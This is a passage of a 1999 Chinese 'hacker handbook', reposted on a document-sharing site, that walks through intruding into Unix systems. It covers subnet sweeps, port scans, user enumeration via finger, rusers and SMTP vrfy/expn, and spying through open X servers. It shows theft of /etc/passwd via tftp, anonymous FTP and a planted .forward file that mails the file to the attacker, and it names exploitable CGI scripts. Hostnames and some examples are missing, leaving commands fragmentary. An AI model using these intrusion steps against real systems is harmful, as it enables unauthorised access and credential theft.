《SAMSA黑客手册zix.docx》由会员分享,可在线阅读,更多相关《SAMSA黑客手册zix.docx(48页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。
1、SAMSA黑客手册1999-11 北京摘要 入侵一个系统有很多步骤,阶段性很强的“工作”,其最终的目标是获得超级用户权限对目标系统的绝对控制。从对该系统一无所知开始,我们利用其提供的各种网络服务收集关于它的信息,这些信息暴露出系统的安全脆弱性或潜在入口;然后我们利用这些网络服务固有的或配置上的漏洞,试图从目标系统上取回重要信息(如口令文件)、或在上面执行命令,通过这些办法,我们有可能在该系统上获得一个普通的shell接口;接下来,我们再利用目标系统本地的操作系统或应用程序的漏洞试图提升我们在该系统上的权限,攫取超级用户控制;适当的善后工作包括隐藏身份、消除痕迹、安置特洛伊木马和留后门。为什么要
2、研究网络入侵技术?孙子兵法有云:知己知彼、百战不殆。为了更好的防卫网络入侵,为了提高网络安全,为了网络管理员甚至系统设计者能够防患于未然,将安全隐患消灭或尽量减少,必须使大家了解网络黑客入侵技术的具体细节。因此笔者先做一个假设的替换,把自己放到一个黑客的位置,然后再诚实地从那个位置把黑客的秘密手段向大家展示。(零)、确定目标攻击的基本条件,除了攻击者和攻击技术,就是攻击对象,特定的对象(特定子网、特定主机)对特定的攻击者构成吸引力,也召唤着与之相适应的技术。0.1) 目标明确攻击者明确地知道要攻击的目标,如某可恶的ISP,如某敌对观点的宣传站点,如解雇了攻击者的单位的主页,等等。0.2) 区段
3、搜索攻击者有大致的攻击范围(某一网段),但没有具体的主机作为目标,这时可以工具搜索出该网段上的所有机器,如用笔者开发的mping(multi-ping),用法如下:synopsis mping network netmaske.g.# mping 192.168.0.0 255.255.255.0第一个参数是欲搜索的网段,第二个参数是网络掩码。即可快速获取该网段上所有活动主机的IP地址。0.3) 抓网从一个有很多链接的WWW站点开始,顺藤摸瓜,自然可以找到许多域名和IP地址;0.4) 到网上去找站点列表很多网页上都有大量相关站点的列表;找到一个站点列表,就可以挨个儿进行攻击尝试了!(一)、情报
4、搜集从对攻击目标一无所知开始,通过种种尝试,获得越来越多的关于它的信息;黑客的哲学是:没有无用的信息。几乎关于攻击目标的任何知识都是可能的入侵入口,举凡操作系统类型、版本、用户名等,即使是一些表面上无害的信息,也可能通过和别的信息综合而构成暴露系统漏洞的消息。1.1) 端口扫描端口扫描是通过扫描找出目标系统开放的服务端口从而推断出目标系统上运行的服务,通过这些服务可能获取进一步的知识或通往系统的路径。端口扫描的程序所在多有,可从网上免费获取,如笔者使用的一种,其输出如下:e.g.# tcp_scan numen 1-655357:echo:9:discard:13:daytime:19:cha
5、rgen:21:ftp:23:telnet:25:smtp:37:time:79:finger111:sunrpc:512:exec:513:login:514:shell:515:printer:540:uucp:2049:nfsd:4045:lockd:6000:xwindow:6112:dtspc:7100:fs:# udp_scan numen 1-655357:echo:9:discard:13:daytime:19:chargen:37:time:42:name:69:tftp:111:sunrpc:161:UNKNOWN:177:UNKNOWN: .大概地说,TCP和UDP端口扫
6、描的机理都是依次(如从1号端口到n号)向目标系统的端口发出连接请求或服务请求包,若该端口上无服务程序守侯,则TCP协议层会回送一个RST(Reset)包,而UDP协议层则会回送一个ICMP Port Unreachable(端口不可达)包,如果没有收到这两种包,就说明该端口有一服务程序,再根据服务程序和著名端口号间的对应关系,既可推知目标系统上究竟运行着哪些服务了。观看端口扫描程序运行结果,如发现有下列服务:finger,sunrpc,nfs,nis(yp),tftp,ftp,telnet,http,shell(rsh),login(rlogin),smtp,exec(rexec),etc则应
7、引起注意。因为这些服务或者无偿向外界提供关于系统的重要知识,或者提供某种使用户可以“登录”到系统的方法,或者使得用户可以远程执行系统中的程序,所以都有可能是网络入侵的重要途径。在下面的叙述中读者将陆续看到这一点。1.2) finger如果端口扫描发现目标系统上开放了finger服务,这对攻击者来说真是福音,因为finger无偿地(即不需要任何认证手续)就向所有人提供关于系统用户的重要信息,而黑客入侵最重要的一种途径也即是冒充用户登录,所以开放finger实在是一件很危险的事。e.g.# finger rootLogin Name TTY Idle When Whereroot Super-Us
8、er console 1 Fri 10:03 :0root Super-User pts/6 6 Fri 12:56 root Super-User pts/7 Fri 10:11 root Super-User pts/8 1 Fri 10:04 :0.0root Super-User pts/1 4 Fri 10:08 :0.0root Super-User pts/11 3:16 Fri 09:53 root Super-User pts/10 Fri 13:08 root Super-User pts/12 1 Fri 10:13 :0.0这个例子说明,该机器上有很多人以root身份登
9、录着,也就是说,假使黑客能够以root身份登录进去,将不至于显得过于突出了(例中所有的机器域名替换成虚构的域名,但都有现实的基础,谨此说明,下同此)。# finger Login Name TTY Idle When Whereroot Super-User console 7 Fri 10:03 :0john Johnathan Swift pts/6 11 Fri 12:56 jack Michael Jackson pts/7 Fri 10:11 mary Mariah Carey pts/11 3:21 Fri 09:53 root Super-User pts/10 3 Fri 13
10、:08 sally Sallivan pts/11 12 Fri 11:07 finger 的意思是:请报告当前登录在它上面的所有用户情况。这个例子说明目前登录在上的有root、john、mary、sally等用户,他们分别来自虚构的、等主机。# finger 0Login Name TTY Idle When Wheredaemon ? bin ? sys ? leopard ? pts/5 john ? pts/12 lilac ? pts/8 yark ? pts/9 jack ? pts/9 weeper ? pts/9 sally ? pts/6 zebra ? pts/9 mary
11、 ? pts/9 finger 0的意思是:请报告它上面所有的合法用户及其登录情况。得到了这个情报,黑客就可以挨个尝试以这些用户的身份登录系统了,通常可以利用一些有一段时间没有登录过的用户,或趁某用户不在线上时以他的身份登录,这样做的目的是以免被该用户发现,因为合法用户应该知道自己是从哪儿登录过来,并且也知道自己开了几个终端,黑客登录必然影响who或w命令输出,用户如果发现这输出与自己的情况不吻合,自然就会发现自己的帐号被人盗用了。# finger 0Login Name TTY Idle When Wheredaemon ? bin ? sys ? leopard ? pts/5 john
12、? pts/12 lilac ? pts/8 yark ? pts/9 jack ? pts/9 weeper ? pts/9 sally ? pts/6 zebra ? pts/9 mary ? pts/9 finger 0是一种finger的级联,请求先发到,再由转给,最后的结果是给出的。# finger 0unknown host:这个命令则有可能造成某些有缺陷的finger daemon因资源耗尽而暂时瘫痪,也算一种DoS(Denial of Service:拒绝服务)攻击吧。1.3) rusers rusers命令,remote users,顾名思义,即询问远程主机关于其用户的信息,
13、跟finger有类似之处。e.g.# rusers -l numenroot numen:console May 7 10:03 22 (:0)john numen:pts/6 May 7 12:56 26 ()will numen:pts/7 May 7 10:11 ()mary numen:pts/11 May 7 09:53 3:37 ()paul numen:pts/10 May 7 13:08 18 () 列出numen上所有活动的用户。1.4) showmountNFS(Network File System:网络文件系统)是用来提供网络文件共享的,通过安装共享目录,可以实现不登录
14、到一台主机即可读写该机上的硬盘内容,这对攻击者来说是非常有利的。showmount命令列出一台机器上共享出来的所有目录及其信息。e.g.# showmount -e export table of :/export/home (everyone)表示:把/export/home共享给所有人;# showmount -a :/export/home:/export/home表示:和安装了共享出来的/export/home。1.5) rpcinfoRPC(Remote Procedure Call:远程过程调用)是指从一台机器上可以直接调用另一台机器上的过程,通过使用一种称为EDR(Externa
15、l Data Representation)的数据表示方法,前者把参数传给后者,后者把计算结果返回给前者。rpcinfo报告关于一台主机上提供的可供外部进程调用的过程的信息。e.g.# rpcinfo -p program vers proto port service 100000 4 tcp 111 rpcbind 100000 4 udp 111 rpcbind 100024 1 udp 32772 status 100024 1 tcp 32771 status 100021 4 udp 4045 nlockmgr 100001 2 udp 32778 rstatd 100083 1
16、tcp 32773 ttdbserver 100235 1 tcp 32775 100021 2 tcp 4045 nlockmgr 100005 1 udp 32781 mountd 100005 1 tcp 32776 mountd 100003 2 udp 2049 nfs 100011 1 udp 32822 rquotad 100002 2 udp 32823 rusersd 100002 3 tcp 33180 rusersd 100012 1 udp 32824 sprayd 100008 1 udp 32825 walld 100068 2 udp 32829 cmsd可以看到
17、提供了rpcbind, rusersd等过程服务,上面用到的rusers命令实际上就调用了目标机上的rusersd提供的过程。可惜没有打开rexd,如果打开了rexd,其效果就和没有password一样,攻击者可以随意运行目标机上的任何程序。1.6) x-windowsX-Windos系统是一种客户/服务器结构的窗口系统,每个拥有显示设备的主机系统都可以作为服务器,并可接受另一个主机系统作为其客户,简而言之:程序在客户系统上运行,而用户界面却显示在服务器的显示设备上,客户通过网络把应该显示出来的东西传送给服务器,服务器则把用户的输入通过网络传送给客户。通常是服务器和客户都在本机上,即:程序在本
18、机上运行,用户界面也显示在本机的显示设备上。远程的情况,概念则似乎有点别扭,依我的理解,主要用途在于,假设:我在主机A上通过telnet远程登录到主机B,这时如果我运行一些文本界面的程序,输入输出都可以通过telnet程序提供的伪终端进行,但如果我想运行一些图形界面的程序,由于telnet程序的伪终端不支持图形显示,就必须用到X-Windows系统了,需要做的工作是:首先,把主机A看作X服务器,使它同意接受主机B作它的客户,即在本机键入:A xhost +B其次,在telnet窗口(主机B)中键入:B DISPLAY=A:0.0B export DISPLAY意味着:把A当作主机B当前shel
19、l的X服务器;此后我在B上通过telnet运行的图形界面程序(如Netscape)的图形界面就会显示在主机A的显示设备上,即:程序实际在B上运行,我却可以在主机A的显示设备上(就在我眼前)阅览和操作了。除了这种情况,似乎想象不出有别的使用X-Windows的必要,比如直接在我自己的机器上运行程序,界面却显示在别人的显示器上,这未免太古怪了。e.g.# DISPLAY=:0.0# export DISPLAY# xhostaccess control disabled, clients can connect from any host环境变量DISPLAY用于指定当前Shell的X服务器;xh
20、ost则用于设定该服务器允许或拒绝的主机;如上例,我把当前Shell的X服务器设为(显示设备为0.0号,通常就是唯一的那一台显示器),然后不带参数运行xhost命令,返回信息说明,允许任何主机做它的客户,这对黑客来说,实在是太愉快了,因为意味着从任何一台主机上可以控制的显示设备,可以窃取上的用户输入,甚至可以执行上的程序。# xwininfo -rootxwininfo: Window id: 0x25 (the root window) (has no name) Absolute upper-left X: 0 Absolute upper-left Y: 0 Relative upper
21、-left X: 0 Relative upper-left Y: 0 Width: 1152 Height: 900 Depth: 24 Visual Class: TrueColor Border width: 0 Class: InputOutput Colormap: 0x21 (installed) Bit Gravity State: ForgetGravity Window Gravity State: NorthWestGravity Backing Store State: NotUseful Save Under State: no Map State: IsViewabl
22、e Override Redirect State: no Corners: +0+0 -0+0 -0-0 +0-0 -geometry 1152x900+0+0 xwininfo用于显示X服务器的窗口信息,xwininfo -root即显示根窗口的信息,所谓根窗口,即桌面,所有其它的窗口都显示在它上面,都是它的子窗口。输出结果包括其大小、位置、窗口标识号等等数据。知道了一个窗口的标识号,就可以用一些工具(如一个叫xwatchwin的程序)来监视这个窗口上的一切显示。1.7) smtpSMTP(Small Mail Transfer Protocol:小邮件传输协议)是用来发送邮件的协议,其服
23、务守护程序是Sendmail。Sendmail因为大而复杂,配置又十分麻烦,所以一度曾是Unix上的漏洞最多的程序,著名的蠕虫病毒就是利用Sendmail旧版本上的一个DEBUG命令的漏洞而从一个系统传播到另一个系统。e.g.# telnet smtpTrying xxx.xxx.xxx.xxx.Connected to .Escape character is .220 ESMTP Sendmail 8.9.1b+Sun/8.9.1; Fri, 7 May 1999 14:01:39 +0800(CST) expn root250 Super-User expn ftp250 vrfy by
24、ron550 byron. User unknown使用vrfy或expn命令,可以判断特定用户名是否合法,如上面ftp为合法用户名,byron则不是合法用户名。其用处在于:如果不能用finger或rusers获得目标主机上的用户列表,可以用这种方法猜测用户名,至少能判断出是否真存在某个特定用户如果不能判断这一点,那猜测口令就无从谈起。1.8) 使用Scanner(Security Scanner:安全扫描器)安全扫描器是一种程序,它能够通过探测和模拟攻击而搜集主机甚至子网的各种信息包括脆弱性信息,即:该主机或该子网有那些安全漏洞?Satan是这类程序中最用名的一个,它其实综合了我们上面所述那
25、些方法,并且不只于此,因此Satan能给出非常丰富的关于攻击目标的信息列表,包括系统类型、操作系统版本、提供的服务种类、系统漏洞等。所以攻击前最好先用Satan进行一番扫描,然后再根据所得信息对症下药,必有事半功倍之效。Satan是图形界面的,就不陈列其输出结果了。二、远程攻击取得一个用户Shell是一种根本性的突破,但在那之前也有很多事情要做、可做,主要是想方设法从目标主机上取得passwd文件,也可以进行一些破坏或取得一定控制。2.1) 获取passwd文件取得passwd是获取用户Shell的关键,通过破解用户口令,攻击者有可能冒充用户登录,从而获得一个用户Shell。2.1.1) tf
26、tptftp(Trivial File Transfer Protocol)是一种基于UDP的不要求用户身份认证的文件传输协议,主要用于无盘工作站启动时从启动服务器上下载操作系统和应用程序时用的。由于没有认证能力,任何人都可以从提供tftp的主机上存取文件,至于其限度,则要视tftp daemon的权限而定。e.g.# tftp tftp get /etc/passwdError code 2: Access violationtftp get /etc/shadowError code 2: Access violationtftp quit 尝试失败,大概上没有运行tftp daemon。
27、# tftp tftp get /etc/passwdReceived 965 bytes in 0.1 seconds tftp get /etc/shadowError code 2: Access violation 成功取得/etc/passwd文件。# cat passwdroot:x:0:0:Super-User:/:/bin/kshdaemon:x:1:1:/: bin:x:2:2:/usr/bin:sys:x:3:3:/:/bin/shadm:x:4:4:Admin:/var/adm:lp:x:71:8:Line Printer Admin:/usr/spool/lp:smtp
28、:x:0:0:Mail Daemon User:/:uucp:x:5:5:uucp Admin:/usr/lib/uucp:nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucicolisten:x:37:4:Network Admin:/usr/net/nls:nobody:x:60001:60001:Nobody:/:noaccess:x:60002:60002:No Access User:/:alex:x:10007:10:/users/alex:/bin/shcider:x:10020:10:/users/cid
29、er:/bin/shwalt:x:10101:4:Walt Whiteman:/users/walt:/sbin/sh虽然是shadow过的,但仍然提供了关于用户的信息。2.1.2) 匿名ftp2.1.2.1) 直接获得e.g.# ftp sun8Connected to sun8.220 sun8 FTP server (UNIX(r) System V Release 4.0) ready.Name (sun8:root): anonymous331 Guest login ok, send ident as password.Password: 输入电子邮件地址230 Guest log
30、in ok, access restrictions apply.ftp ls200 PORT command successful.150 ASCII data connection for /bin/ls (192.168.0.198,34243) (0 bytes).bindevetcincomingpubusr226 ASCII Transfer complete.35 bytes received in 0.85 seconds (0.04 Kbytes/s) ftp cd etc250 CWD command successful.ftp ls200 PORT command su
31、ccessful.150 ASCII data connection for /bin/ls (192.168.0.198,34244) (0 bytes).grouppasswd226 ASCII Transfer complete.15 bytes received in 0.083 seconds (0.18 Kbytes/s)ftp get passwd200 PORT command successful.150 ASCII data connection for passwd (192.168.0.198,34245) (223 bytes).226 ASCII Transfer
32、complete.local: passwd remote: passwd231 bytes received in 0.038 seconds (5.98 Kbytes/s) # cat passwdroot:x:0:0:Super-User:/:/bin/kshdaemon:x:1:1:/:bin:x:2:2:/usr/bin:sys:x:3:3:/:/bin/shadm:x:4:4:Admin:/var/adm:uucp:x:5:5:uucp Admin:/usr/lib/uucp:nobody:x:60001:60001:Nobody:/:ftp:x:210:12:/export/ft
33、p:/bin/false ftp的根目录不同于系统的根目录,所以ftp下看到的/etc/passwd和系统的/etc/passwd不是一个文件,但有些不称职的系统管理员在创建ftp目录结构时会把系统的/etc/passwd文件直接拷贝过来,遇到这种情况黑客就会有意外的惊喜了。上面例子中没有这样的毛病。2.1.2.2) 主目录可写主目录即上文说的ftp根目录,是在/etc/passwd文件中指定的,也就是用匿名ftp登录到主机后的起始目录。e.g.# cat forward_sucker_file| /bin/cat /etc/passwd|sed s/ /|/bin/mail memy.e-m
34、ail.addr# ftp Connected to 220 victim FTP server ready.Name (:zen): ftp331 Guest login ok, send ident as password.Password: 输入电子邮件地址230 Guest login ok, access restrictions apply.ftp put forward_sucker_file .forward43 bytes sent in 0.0015 seconds (28 Kbytes/s)ftp quit# echo test | mail ftp如果匿名ftp主目录可
35、写,可以在其下投放一个.forward文件;文件内容是一行用双引号引起来的Shell命令;.forward文件是用于邮件转发的:如果某一用户(此处为ftp)的主目录下有这个文件时,那么当该用户收到邮件时,就要视.forward的内容进行转发,如果.forward的内容为一些电子邮件地址,该邮件就被转发到这些地址,而如果为一行用双引号引起来的Shell命令,则该邮件的内容被重定向到此命令。此处,命令为:| /bin/cat /etc/passwd|sed s/ /|/bin/mail memy.e-mail.addr,实际上对重定向过来的作为输入的邮件内容没有做任何处理,而是把/etc/pass
36、wd(为了防止被安全机制过滤,先在每一行行首增加一个空格)发到了攻击者的电子邮件地址(memy.e-mail.addr)。因此,在投放了这样一个.forward文件后,再随便发一封电子邮件给上的ftp用户,通过神奇的“转发”功能,上的/etc/passwd文件就寄到攻击者的电子邮件地址上来了。2.1.3) WWW很多WWW服务器都有预装的CGI程序,其中有些由于设计上的失误,使得攻击者可以利用它们来做一些设计者没有料到的事:如随意执行服务器主机上的任何命令。下面是几个著名buggy CGI:2.1.3.1) phfe.g.2.1.3.2) campuse.g.2.1.3.3) glimpsee.g.addr/etc/passwd;eval$CMD;echo这几种方法都可以得到目标主机上的/etc/passwd(当然,前提都是该机提供WWW服务并且cgi-bin下放有这几种buggy CGI)。2.1.4) nfs2.1.4.1) 如果把/etc共享出来,就不必说了2.1.4.2) 如果某用户的主目录共享出来e.g.# finger -l waltLogin name: waltDirectory: /users/walt Shell: /bin/kshLast login Tue Oct 19 21:09 o